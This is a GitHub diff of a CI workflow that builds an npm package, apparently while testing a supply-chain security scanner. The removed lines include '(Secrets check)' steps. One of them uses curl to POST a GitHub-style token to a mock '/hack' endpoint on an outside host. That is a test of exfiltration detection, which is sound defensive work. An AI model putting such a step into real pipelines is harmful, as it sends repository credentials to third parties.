|
1 | | -name: Build JS Package For Secrets |
| 1 | +name: Build NPM Package |
2 | 2 | on: |
3 | | - workflow_dispatch: |
| 3 | + workflow_dispatch: |
4 | 4 |
|
5 | 5 | permissions: |
6 | 6 | checks: write |
@@ -62,21 +62,16 @@ jobs: |
62 | 62 | env: |
63 | 63 | PSE_DEBUG_FLAG: --alsologtostderr |
64 | 64 | POLICY_LOG: t |
65 | | - INVISIRISK_JWT_TOKEN: ${{secrets.VB_API_KEY}} |
66 | | - INVISIRISK_PORTAL: https://app.veribom.com/ |
| 65 | + INVISIRISK_JWT_TOKEN: ${{secrets.VB_API_KEY}} |
| 66 | + INVISIRISK_PORTAL: https://app.veribom.com |
67 | 67 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} |
68 | 68 | container: |
69 | | - image: node:18-buster |
70 | | - options: --cap-add=NET_ADMIN --privileged |
| 69 | + image: node:18-alpine |
| 70 | + options: --cap-add=NET_ADMIN |
71 | 71 | strategy: |
72 | 72 | matrix: |
73 | 73 | node-version: [18.x] |
74 | 74 | steps: |
75 | | - - name: Install curl |
76 | | - run: | |
77 | | - apt-get update |
78 | | - apt-get install -y curl |
79 | | - |
80 | 75 | - env: |
81 | 76 | SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }} |
82 | 77 | run: echo $SCAN_ID |
|
90 | 85 | uses: actions/setup-node@v3 |
91 | 86 | with: |
92 | 87 | node-version: ${{ matrix.node-version }} |
93 | | - |
94 | | - - name: (Secrets check) Send POST request with GitHub token |
95 | | - run: | |
96 | | - curl -k -X POST https://vbirmock.free.beeceptor.com/hack \ |
97 | | - -H "Content-Type: application/json" \ |
98 | | - -d '{ |
99 | | - "GH": "ghp_DEFzmg7RHrQ2eMe2IF4NxNWQodYpab3VMXXX" |
100 | | - }' |
101 | | - - name: (Secrets check) Make API Request |
102 | | - run: | |
103 | | - curl -k -X POST https://api.github.com/endpoint \ |
104 | | - -d '{"name": "ghp_1234567890abcdef1234567890abcdef12345678", "description": "A description of my repository"}' |
105 | | - |
106 | | - - name: install dependencies |
107 | | - # run: pip install -r requirements.txt |
108 | | - run: npm install |
109 | | - # - run: npm run build --if-present |
110 | | - # - run: npm test |
| 88 | + |
| 89 | + - run: npm install -g pnpm |
| 90 | + - run: pnpm install |
0 commit comments